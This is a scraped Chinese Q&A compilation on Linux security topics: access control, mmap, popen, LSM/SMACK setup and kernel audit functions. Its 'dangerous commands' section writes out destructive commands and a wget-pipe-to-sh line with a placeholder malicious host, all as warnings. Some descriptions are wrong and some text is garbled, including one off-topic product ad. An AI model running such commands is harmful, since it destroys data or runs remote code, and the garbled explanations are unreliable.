Ⅰ linux 安全加固指的是什么
这个涉及到有点广泛，在安全性方面，Linux内核提供了经典的Unix自主访问控制（root用户、用户ID安全机制）， 以及部分支持了POSIX.1e标准草案中的Capabilities安全机制。自主访问控制（Discretionary Access Control，DAC）是指主体对客体的访问权限是由客体的属主或超级用户决定的，而且此权限一旦确定，将作为以后判断主体对客体是否有及有什么权限的惟一依据。只有客体的属主或超级用户才有权更改这些权限。传统Linux系统提供DAC支持，客体在Linux系统当中主要是指文件、目录等系统资源，主体是指访问这些资源的用户或进程。控制粒度为客体的拥有者、属组和其他人。简单说，1．文件系统及访问权限 2.用户和账号管理。3．系统审计
Ⅱ linux 中 kill() 与 signal() 函数
虽然子进程将父进程的函数重新拷贝了一份，子进程和父进程共享同一段内存空间，但不能被共享。可以通过共享内存解决这个问题。使用这个函数void* mmap(void * addr, size_t len, int prot, int flags, int fd, off_t offset)把进程地址空间映射为共享内存。addr为被映射的进程地址空间内存地址，取NULL表示由系统决定；len为被映射地址空间的长度；prot为内存映射区保护参数，通常取为PROT_READ|PROT_WRITE；flags为标志，通常取为MAP_SHARED|MAP_ANON；fd取为-1，offset取为0。成功返回被映射区的起始地址，失败返回错误码。需要的头文件为：sys/mman.h。
使用方法：int * share； //假设要把share所指向的一个整型变量映射为共享内存空间。
share = (int *)mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANON, -1, 0 )这样就能实现你说的 了.
Ⅲ LINUX系统有哪些危险命令
这9个“非常危险”的Linux命令一定要记住!
1、rm-rf命令
rm-rf命令是删除文件夹及其内容最快的一种方式，仅仅一丁点的敲错或者无知都可能导致不可恢复的系统崩坏。
rm命令在Linux下通常用来删除文件
rm-f命令递归的删除文件夹，甚至是空的文件夹
rm-f命令能不经过询问直接删除只读文件
rm-rf/：强制删除根目录下所有东西
rm-rf/*：强制删除当前目录的所有文件
rm-rf.：强制删除当前文件夹及其子文件
温馨提示：当你要执行rm -rf命令时，一定要留心，可以在“.bashrc”文件对“rm”命令创建rm
-i的别名，来预防用‘rm’命令删除文件时的事故。
2、:(){:|:&};:命令
这就是一个fork炸弹的实例。具体操作是通过定义一个名为'：'的函数，它会调用自己两次，一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
3、命令 >/dev/sda
上列命令会将某个'命令'的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据，从而导致整个块设备的数据丢失。
4、mv文件夹/dev/null
这个命令会移动某个'文件夹'到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件，所有写入它的数据都会被清除，然后返回写操作成功。
5、wget http://malicious_source -O- | sh
上面这个命令会从一个恶意源下载一个脚本并执行。Wget命令会下载这个脚本，而sh会执行下载下来的脚本。
温馨提示：你应该时刻注意你下载包或者脚本的源。只能使用那些从可信任的源中下载脚本/程序。
6、mkfs.ext3 /dev/sda
上列命令会格式化设备'sda'，你无疑知道在执行上列命令后你的块设备会被格式化，崭新的。没有任何数据，直接让你的系统达到不可恢复的阶段。
7、> file
上面命令常用来清空文件内容，如果用上列执行时输入错误或无知的输入类似“> xt.conf”的命令会覆盖配置文件或其他任何的系统配置文件。
8、^foo^bar
这个命令用来编辑先前运行的命令而无需要打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险，这可能导致真正的麻烦。
9、dd if=/dev/random of=/dev/sda
上面这个命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然，你的系统可能陷入混乱和不可恢复的状态。
Ⅳ linux printf是线程安全的吗
是啊，这个函数在不同的线程中都可以用啊，又不涉及对共享变量的访问。
线程安全一般只涉及到对有多个线程可以共享的变量的访问，这样就需要加解锁来控制。
Ⅳ linux系统下，哪些函数可以引起命令执行漏洞
系统漏洞会影响到的范围很大，包括系统本身及其支撑软件，网络客户和服务器软件，网络路由器和安全防火墙等。
腾讯电脑管家可以修复Windows操作系统漏洞，还可以智能筛选区分出高危漏洞补丁及功能性补丁，操作方法：腾讯电脑管家-工具箱-选择“修复漏洞”。
Ⅵ linux内核函数为什么加static关键字
首先，static关键字的作用是，令函数只能在当前的.c文件中使用。
static函数往往是一些helper函数，功能性或安全性不很完整，是用于构成更复复杂也更安全可靠的全局函数（非static函数，尤其是export的函数）的。
我们在做内核编程时，应尽量使用非static函数。要相信，前辈们写static是有理由的，也一定有非static的函数可以实现你想要的功能。
Ⅶ 想实现一个linux内核安全功能模块的技术思路是怎样的
作者：橘子-实现网
链接：https://www.hu.com/question/21637060/answer/58362892
来源：知乎
着作权归作者所有，转载请联系作者获得授权。
用户在执行系统调用时，先通过原有的内核接口依次执行功能性的错误检查，接着进行传统的DAC检查，并在即将访问内核的内部对象之前，通过LSM钩子函数调用LSM。LSM再调用具体的访问控制策略来决定访问的合法性。访问控制整体构架：<img src="https://pic2.mg.com/_b.jpg" data-rawwidth="804" data-rawheight="604" class="origin_image zh-lightbox-thumb" width="804" data-original="https://pic2.mg.com/_r.jpg">
LSM框架下访问决策模块包括selinux，smack，tomoyo，yama，apparmor.
每个决策模块都是通过各自的XXX_init函数调用register_security（）函数，注册到LSM框架的模块被加载成功后，就可以进行访问控制操作。如果此时还有一个安全模块要使用register_security()函数进行加载，则会出现错误，直到使用框架注销后，下一个模块才可以载入。<img src="https://pic2.mg.com/_b.jpg" data-rawwidth="420" data-rawheight="285" class="content_image" width="420">
Linux安全模块（LSM）提供了两类对安全钩子函数的调用：一类管理内核对象的安全域，另一类仲裁对这些内核对象的访问。对安全钩子函数的调用通过钩子来实现，钩子是全局表security_ops中的函数指针，这个全局表的类型是security_operations结构，这个结构定义在include/linux/security.h这个头文件中。
通过对security代码进行一番简单的分析，LSM启动过程流图：
<img src="https://pic2.mg.com/_b.jpg" data-rawwidth="1011" data-rawheight="213" class="origin_image zh-lightbox-thumb" width="1011" data-original="https://pic2.mg.com/_r.jpg">security_initcall只能调用selinux_init，smack_init ，tomoyo_init ， yama_init 和apparmor_init中的一个，因为内核不允许多种安全机制同时一起工作。一旦一个安全模块被加载，就成为系统的安全策略决策中心，而不会被后面的register_security()函数覆盖，直到这个安全模块被使用unregister_security()函数向框架注销。security_initcall只能调用selinux_init，smack_init ，tomoyo_init ， yama_init 和apparmor_init中的一个，因为内核不允许多种安全机制同时一起工作。一旦一个安全模块被加载，就成为系统的安全策略决策中心，而不会被后面的register_security()函数覆盖，直到这个安全模块被使用unregister_security()函数向框架注销。
因此LSM框架下只能开启一种安全机制，smack编译进Linux内核的配置和要求：
（1）要求smack和selinux不能够同时运行，不能同时存在于同一个运行中的内核；
查看内核是否开启以下的功能（如果没有则需要开启）：
CONFIG_NETLABEL=y
CONFIG_SECURITY=y
CONFIG_SECURITY_NETWORK=y
CONFIG_SECURITY_SMACK=y
CONFIG_SECURITY_SELINUX should not be
set
步骤：
make menuconfig
<img src="https://pic1.mg.com/_b.jpg" data-rawwidth="658" data-rawheight="461" class="origin_image zh-lightbox-thumb" width="658" data-original="https://pic1.mg.com/_r.jpg"><img src="https://pic3.mg.com/_b.jpg" data-rawwidth="658" data-rawheight="464" class="origin_image zh-lightbox-thumb" width="658" data-original="https://pic3.mg.com/_r.jpg"><img src="https://pic3.mg.com/_b.jpg" data-rawwidth="658" data-rawheight="468" class="origin_image zh-lightbox-thumb" width="658" data-original="https://pic3.mg.com/_r.jpg"><img src="https://pic4.mg.com/_b.jpg" data-rawwidth="662" data-rawheight="468" class="origin_image zh-lightbox-thumb" width="662" data-original="https://pic4.mg.com/_r.jpg">
make moles_install
make install
查看/proc/filesystems
可以看到smackfs，说明smack已经编进内核
<img src="https://pic2.mg.com/_b.jpg" data-rawwidth="146" data-rawheight="187" class="content_image" width="146">
执行如下的命令：
mkdir -p /smack
在文件/etc/fstab添加下面的一行
smackfs /smack smackfs defaults 0 0
然后执行下面的命令：
mount –a
然后就体验一下它的功能了：
1. 比如在用户test的home目录下(/home/test)，新建文件夹 mkdir testdir
cd testdir/
touch testfile
2. 给新建的testfile 打上TheOther标签
setfattr
--name=security.SMACK64 --value=TheOther testfile
查看其标签
getfattr
--only-values -n security.SMACK64 -e text testfile
可以看到标签TheOther
<img src="https://pic3.mg.com/_b.jpg" data-rawwidth="698" data-rawheight="60" class="origin_image zh-lightbox-thumb" width="698" data-original="https://pic3.mg.com/_r.jpg">
3. echo TheOne
2>/dev/null > /proc/self/attr/current，当前执行的进程默认都会被打为/proc/self/attr/current下的标签
4.配置策略echo -n "TheOne TheOther r---"> /sma ck/load
因为当前进程只要是没有特殊配置过的都被打为TheOne，所以当转换到普通用户test下，cat testfile是可读的
5.现在我将当前进程打为NotTheOne ，echo NotTheOne 2>/dev/null >
/proc/self/attr/current
当转换到普通用户test下，cat testfile则变成不可读的了
6．如果你想单独对某个进程打标签，而不是对当前进程打，就
attr -s security.SMACK64 -V TheOne /bin/cat
此时cat被标为TheOne，根据策略可以看出，当转换到普通用户test下，cat testfile是可读的
若attr -s
security.SMACK64 –V Not TheOne /bin/cat
根据策略可以看出，当转换到普通用户test下，cat testfile是不可读的
（需要说明的一点是，当cat本身被标上标签和/proc/self/attr/current打入标签共存时，cat本身的标签生效，而/proc/self/attr/current打入标签没有生效）
Ⅷ linux popen 安全吗
linux popen 安全
实现细节
1.popen创建一个管道,调用fork产生一个子进程,执行一个shell命令.读取返回值时,相当于在读取管道数据.
2.popen两个类型参数."r" 读 "w",但不能同时读写."r"读取shell输出值,输出默认/屏幕上的值."w",向shell中写数据.
即标准输入和标准输出.
popen函数输出流默认被全缓冲的.
3.command 参数 是 一个 字符串指针, 指向的是一个 以 null 结束符 结尾的字符串, 这个字符串包含 一个 shell 命令. 这个命令 被送到 /bin/sh 以 -c 参数 执行, 即由 shell 来执行.
4.pclose函数两个作用.关闭文件流和等待子进程的退出.这里等待子进程的退出很重要.
其他注意细节:
1.读取消息时返回的最后一个字符是\n.一般shell命令输出最后一个字符.除了是自己编写返回的脚本输出.
一般在读取后加个判断,如果为\n,替换成0.
//第2点有问题,有些地方需要验证
2.进程间的执行顺序问题.进程A popen会fork出进程B,意味着某一时段内,A和B是竞争关系,可能出现B执行在A前,或者B执行在A后.表明执行的不确定性.直到pclose等待B的退出后,A继续执行.
同时表明,如果两者存在一定依赖关系的话,可能会因为程序执行的顺序问题,带来一些麻烦.之前写过一个代码曾出现过这个问题.
Ⅸ Linux中与安全审计有关的函数
我的答案是最正确的 请采纳我的内核审计系统的接口函数在Linux内核需要输出审计信息时，它先调用函数audit_log_start创建缓冲区。接着，调用函数audit_log或audit_log_format写缓冲区写入审计信息，最后调用函数audit_log_end发送审计信息，并释放缓冲区。这三个函数分别说明如下：1．函数audit_log_start 函数audit_log_start申请审计缓冲区，如果任务当前在系统调用中，系统调用被标识为可审计的，并在系统调用退出时，产生一条审计记录。函数audit_log_start的参数ctx为审计上下文结构实例；参数gfp_mask为分配内存的类型，如：__GFP_WAIT表示可以等待和重调度；参数type为审计消息类型。如果缓存区申请成功，它返回审计缓冲区的指针，否则返回NULL表示错误。函数audit_log_start申请审计缓冲区，当审计缓冲区链表的缓冲区个数超过上限时，当前进程需要等待用户空间的后台进程将审计消息写入log文件，直到缓冲区个数小于上限值为止。函数audit_log_start在申请并初始化审计缓冲区后，给缓冲区加时间戳和审计记录序列号。函数audit_log_start列出如下（在linux26/kernel/audit.c中）：//声明等待队列头，用于等待审计消息被后台进程写入log文件static DECLARE_WAIT_QUEUE_HEAD(audit_backlog_wait);struct audit_buffer *audit_log_start(struct audit_context *ctx, gfp_t gfp_mask,int type){struct audit_buffer*ab= NULL;struct timespect;unsigned intserial;int reserve;unsigned long timeout_start = jiffies; //开始的时间if (!audit_initialized)//如果已初始化，就直接退出return NULL;if (unlikely(audit_filter_type(type)))return NULL;if (gfp_mask & __GFP_WAIT)reserve = 0;elsereserve = 5; /*允许调用者多出5个条目*/ //当链表中审计缓冲区数超出上限时，进程等待auditd处理链表中缓冲区while (audit_backlog_limit&& skb_queue_len(&audit_skb_queue) > audit_backlog_limit + reserve) {if (gfp_mask & __GFP_WAIT && audit_backlog_wait_time && time_before(jiffies, timeout_start + audit_backlog_wait_time)) {/* 等待后台进程auditd从队列中处理部分缓冲区 */DECLARE_WAITQUEUE(wait, current);set_current_state(TASK_INTERRUPTIBLE); //设置当前进程的状态为可中断等待状态add_wait_queue(&audit_backlog_wait, &wait); //将当前进程加入等待队列if (audit_backlog_limit && skb_queue_len(&audit_skb_queue) > audit_backlog_limit)schele_timeout(timeout_start + audit_backlog_wait_time - jiffies);//调度__set_current_state(TASK_RUNNING);//设置当前进程为运行状态remove_wait_queue(&audit_backlog_wait, &wait);continue;} //检查每秒发送的记录数不能超过上限，以防止受非法攻击if (audit_rate_check())printk(KERN_WARNING "audit: audit_backlog=%d > " "audit_backlog_limit=%d\n", skb_queue_len(&audit_skb_queue), audit_backlog_limit);audit_log_lost("backlog limit exceeded");audit_backlog_wait_time = audit_backlog_wait_overflow;wake_up(&audit_backlog_wait);return NULL;}ab = audit_buffer_alloc(ctx, gfp_mask, type);//申请审计缓冲区if (!ab) {audit_log_lost("out of memory in audit_log_start");return NULL;}//得到当前时间存入t，计算审计记录的序列号，存入serialaudit_get_stamp(ab->ctx, &t, &serial); //将时间戳和序列号写入审计记录audit_log_format(ab, "audit(%lu.%03lu:%u): ", t.tv_sec, t.tv_nsec/1000000, serial);return ab;}函数audit_buffer_alloc申请审计缓冲区，先尝试从空闲链表上取下一个缓冲区，如果空闲链表中没有，就分配一个缓冲区。然后，填充netlink消息头。该函数列出如下： static DEFINE_SPINLOCK(audit_freelist_lock);//定义自旋锁，用于锁住链表audit_freeliststatic struct audit_buffer * audit_buffer_alloc(struct audit_context *ctx,gfp_t gfp_mask, int type){unsigned long flags;struct audit_buffer *ab = NULL;struct nlmsghdr *nlh; //从空闲链表中得到一个缓冲区spin_lock_irqsave(&audit_freelist_lock, flags);//加锁if (!list_empty(&audit_freelist)) {ab = list_entry(audit_freelist.next,struct audit_buffer, list);list_del(&ab->list);--audit_freelist_count;}spin_unlock_irqrestore(&audit_freelist_lock, flags);//释放锁 //如果空闲链表中没有空闲缓冲区成员，就分配一个缓冲区if (!ab) {ab = kmalloc(sizeof(*ab), gfp_mask);if (!ab)goto err;}ab->skb = alloc_skb(AUDIT_BUFSIZ, gfp_mask);//分配套接字缓冲区if (!ab->skb)goto err;ab->ctx = ctx;ab->gfp_mask = gfp_mask; //扩展套接字缓冲区skb的已使用数据区，将netlink消息头数据nlmsghdr加到skbnlh = (struct nlmsghdr *)skb_put(ab->skb, NLMSG_SPACE(0));nlh->nlmsg_type = type;nlh->nlmsg_flags = 0;nlh->nlmsg_pid = 0;nlh->nlmsg_seq = 0;return ab;err:audit_buffer_free(ab);return NULL;}2．函数audit_log_format函数audit_log_format将一个审计消息按格式写入审计缓冲区，参数ab为审计缓冲区，参数fmt为格式化的字符串。其列出如下：void audit_log_format(struct audit_buffer *ab, const char *fmt, ...){va_list args;if (!ab)return;va_start(args, fmt);audit_log_vformat(ab, fmt, args);va_end(args);}函数audit_log_vformat将一个审计消息按格式写入套接字缓冲区中，如果审计缓冲区没有足够的空间，就扩展套接字缓冲区的数据域。由于printk缓冲区为1024，扩展的套接字缓冲区最小应为1024。函数audit_log_vformat列出如下： static void audit_log_vformat(struct audit_buffer *ab, const char *fmt, va_list args){int len, avail;struct sk_buff *skb;va_list args2;if (!ab)return;BUG_ON(!ab->skb);skb = ab->skb;avail = skb_tailroom(skb);//计算套接字缓冲区的空闲数据空间if (avail == 0) {//如果套接字缓冲区没有空闲数据空间，扩展空间avail = audit_expand(ab, AUDIT_BUFSIZ);// AUDIT_BUFSIZ为1024，if (!avail)goto out;}va_(args2, args);len = vsnprintf(skb->tail, avail, fmt, args);//将信息写入到缓冲区if (len >= avail) {//如果实际信息长度比可用的缓冲区大，扩展空间/* 由于printk缓冲区是1024，因此，扩展空间最少为1024 */avail = audit_expand(ab,max_t(unsigned, AUDIT_BUFSIZ, 1+len-avail));if (!avail)goto out;len = vsnprintf(skb->tail, avail, fmt, args2); //将审计信息写入到缓冲区}if (len > 0)skb_put(skb, len); //将写入信息的数据缓冲区附加到skb上out:return;}
函数audit_expand扩展在审计缓冲区中的套接字缓冲区，扩展成功，返回可用的空间大小，扩展失败返回0，表示没有空间。参数ab表示审计缓冲区的指针，参数extra表示加到套接字缓冲区skb尾部的缓冲区空间大小。函数audit_expand列出如下：static inline int audit_expand(struct audit_buffer *ab, int extra){struct sk_buff *skb = ab->skb;int ret = pskb_expand_head(skb, skb_headroom(skb), extra, ab->gfp_mask);if (ret < 0) {audit_log_lost("out of memory in audit_expand");return 0;}return skb_tailroom(skb);//返回可用的缓冲区空间大小}3．函数audit_log_end当进程完成了将审计记录写入审计缓冲区的操作时，它调用函数audit_log_end将套接字缓冲区中的审计记录数据发送给用户空间后台进程，由后台进程写入到log文件。如果审计后台进程存在，使用netlink机制传输数据，由审计后台将套接字缓冲区中的审计记录数据写入审计文件audit.log中；如果审计后台不存在，使用函数printk记录数据，然后由日志后台进程将数据写入到日志文件中。当数据发送完成后，函数audit_log_end唤醒等待队列kauditd_wait。有些进程因为审计套接字缓冲区链表上的缓冲区数量超过上限而在队列kauditd_wait等待，当其他进程发送了数据时，应唤醒这些等待进程。函数audit_log_end列出如下：void audit_log_end(struct audit_buffer *ab){if (!ab)return;if (!audit_rate_check()) {//检查审计系统的传输速度，如果netlink机制传输速度超过上限，则返回错误audit_log_lost("rate limit exceeded");} else {if (audit_pid) {//如果审计后台的进程ID存在，使用netlink机制传输数据struct nlmsghdr *nlh = (struct nlmsghdr *)ab->skb->data;nlh->nlmsg_len = ab->skb->len - NLMSG_SPACE(0);skb_queue_tail(&audit_skb_queue, ab->skb);ab->skb = NULL;wake_up_interruptible(&kauditd_wait);//发送了数据，唤醒等待队列} else {//使用printk记录数据printk(KERN_NOTICE "%s\n", ab->skb->data + NLMSG_SPACE(0));}}audit_buffer_free(ab);}